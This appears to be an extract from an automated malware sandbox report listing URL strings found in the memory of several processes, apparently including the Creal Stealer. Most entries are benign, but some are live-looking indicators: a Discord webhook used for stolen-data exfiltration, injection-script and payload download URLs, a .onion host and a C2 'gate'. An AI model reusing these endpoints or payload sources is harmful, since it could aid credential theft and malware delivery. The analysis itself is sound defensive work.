Source: Creal.exe, 00000016.00000003.2223043491.000001B1EEE0C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2116312421.000001B1EEE07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/pz
Source: Creal.exe, 00000016.00000003.2107016340.000001B1EEE74000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2223043491.000001B1EEE0C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2116312421.000001B1EEE07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/v
Source: powershell.exe, 00000010.00000002.2457686671.0000000004A91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2118148053.0000000004DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)msnbot/1.1
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)net/http:
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)pkcs7:
Source: Creal.exe, 00000016.00000003.2174246772.000001B1EE312000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc4880
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://vcr4vuv4sf5233btfy7xboezl7umjw7rljdmaeztmmf4s6k2ivinj3yd.oniontls:
Source: Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000002.2243656750.000001B1EEEBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104245638.000001B1EEF6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000002.2243656750.000001B1EEEBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000002.2243656750.000001B1EEEBD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104245638.000001B1EEF6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.alexa.com/help/webmasters;
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.alltheweb.com/help/webmaster/crawler)Mozilla/5.0
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000013.00000002.2118148053.0000000004F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.archive.org/details/archive.org_bot)Opera/9.80
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.avantbrowser.com)MOT-V9mm/
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.avantbrowser.com)MOT-V9mm/00.62
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.bloglines.com)Frame
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Creal.exe, 00000016.00000003.2111257669.000001B1EECD5000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: Creal.exe, 00000012.00000003.1810104772.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1806656486.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1812300099.000001D16E964000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1809110416.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1808367621.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1807789066.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1807497875.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1810005632.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1807980644.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1807083199.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1820582722.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1809571994.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1806534825.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1814023448.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1807333296.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1807872223.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1819290471.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1812300099.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1807625410.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1814621891.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1815791317.000001D16E957000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.everyfeed.com)explicit
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.exabot.com/go/robot)Opera/9.80
Source: Creal.exe, 00000016.00000002.2234047109.000001B1EDDDF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2112932468.000001B1EDDD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.google.c
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.google.com/bot.html)Mozilla/5.0
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.google.com/bot.html)crypto/ecdh:
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.google.com/feedfetcher.html)HKLM
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.googlebot.com/bot.html)Links
Source: Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: powershell.exe, 00000010.00000002.2530036656.00000000072B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: buildz.exe, 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2103691132.000001B1EEF18000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2105982283.000001B1EEF1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: spfasiazx.exe, 00000002.00000002.1683692938.0000000006230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.comn
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://www.spidersoft.com)
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://yandex.com/bots)Opera
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: http://yandex.com/bots)Opera/9.51
Source: alex.exe, 0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp, alex.exe, 0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000010.00000002.2457686671.0000000004A91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2118148053.0000000004DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: buildz.exe, buildz.exe, 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: alex.exe, 0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp, alex.exe, 0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://blockchain.infoindex
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: https://blockstream.info/apiinva
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: https://cdn.discordapp.com/attachments/1088058556286251082/1111230812579450950/TsgVtmYNoFT.zipMozill
Source: powershell.exe, 00000013.00000002.2153972596.0000000005E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000013.00000002.2153972596.0000000005E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000013.00000002.2153972596.0000000005E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/users/
Source: Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8
Source: Creal.exe, 00000016.00000003.2108070182.000001B1EDD51000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.1837212025.000001B1EDD5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: Creal.exe, 00000016.00000003.2172984402.000001B1EE3FD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000002.2236853150.000001B1EE401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/multiprocessing.html
Source: build3.exe, 00000008.00000003.1727791573.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://domen414.com/
Source: build3.exe, 00000008.00000003.1748755431.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://domen414.com/9f4
Source: build3.exe, 00000008.00000003.1727791573.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://domen414.com/9f4658d103ba0f0693c21ed9db84a626/e0cbefcb1af40c7d4aff4aca26621a98.exe
Source: build3.exe, 00000008.00000003.1748755431.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, build3.exe, 00000008.00000003.1727791573.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://domen414.com/9f4658d103ba0f0693c21ed9db84a626/e0cbefcb1af40c7d4aff4aca26621a98.exetP
Source: Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://geolocation-db.com/jsonp/
Source: Creal.exe, 00000016.00000002.2244367898.000001B1EF490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
Source: powershell.exe, 00000013.00000002.2118148053.0000000004F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: https://github.com/Snawoot/opera-proxy/releases/download/v1.2.2/opera-proxy.windows-386.exeBlackBerr
Source: Creal.exe, 00000016.00000003.1824053886.000001B1ED8D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: Creal.exe, 00000012.00000003.2245038806.000001D16E964000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1821102562.000001D16E957000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000012.00000003.1819152002.000001D16E957000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32
Source: Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/platformdirs/platformdirs
Source: Creal.exe, 00000016.00000002.2244367898.000001B1EF490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging
Source: Creal.exe, 00000016.00000003.1824053886.000001B1ED8D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: Creal.exe, 00000016.00000003.1824053886.000001B1ED8D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: Creal.exe, 00000016.00000003.1842484892.000001B1ED972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: Creal.exe, 00000016.00000003.1824053886.000001B1ED8D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: Creal.exe, 00000016.00000002.2241918250.000001B1EED79000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2149661742.000001B1EE31C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2167757870.000001B1EE31D000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2198921375.000001B1EE323000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/post
Source: Creal.exe, 00000016.00000003.2108070182.000001B1EDD51000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000002.2233001583.000001B1EDD54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: build3.exe, 00000008.00000003.1727791573.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrproper.org/e0cbefcb1af40c7d4aff4aca26621a98.exeancisco1
Source: powershell.exe, 00000010.00000002.2518809761.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2153972596.0000000005E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Creal.exe, 00000016.00000002.2238063658.000001B1EE6F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/guides/packaging-namespace-packages/.
Source: Creal.exe, 00000016.00000002.2238063658.000001B1EE6F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/
Source: Creal.exe, 00000016.00000002.2238063658.000001B1EE6F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/0
Source: Creal.exe, 00000016.00000002.2238063658.000001B1EE6F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/build/).
Source: Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg
Source: Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/injection/main/index.js
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsonsize
Source: Creal.exe, 00000016.00000002.2244367898.000001B1EF490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://refspecs.linuxfoundation.org/elf/gabi4
Source: Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://requests.readthedocs.io
Source: Creal.exe, 00000016.00000002.2238063658.000001B1EE6F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/
Source: Creal.exe, 00000016.00000002.2238063658.000001B1EE6F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/0w
Source: Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages
Source: Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages0
Source: spfasiazx.exe, 00000002.00000002.1681671580.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, spfasiazx.exe, 00000004.00000002.1714832802.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://spf-asia.com/gate
Source: Creal.exe, 00000016.00000003.2149661742.000001B1EE31C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2167757870.000001B1EE31D000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3610
Source: Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)cannot
Source: Creal.exe, 00000016.00000003.2110499227.000001B1ED92B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2149661742.000001B1EE31C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: New_Text_Document_mod.exse.exe, 00000000.00000000.1630397907.0000000000512000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://urlhaus.abuse.ch/downloads/text_online/
Source: spfasiazx.exe, 00000002.00000002.1684845785.0000000007D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wdcp.micros/)
Source: Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gz
Source: wab.exe, 00000031.00000003.2200640416.000000000856C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.magssin.com/URIuZCNDpoKCfSrV94.bin
Source: wab.exe, 00000031.00000003.2200640416.000000000856C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.magssin.com/URIuZCNDpoKCfSrV94.bina8B
Source: Creal.exe, 00000012.00000003.1814270900.000001D16E957000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org
Source: Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
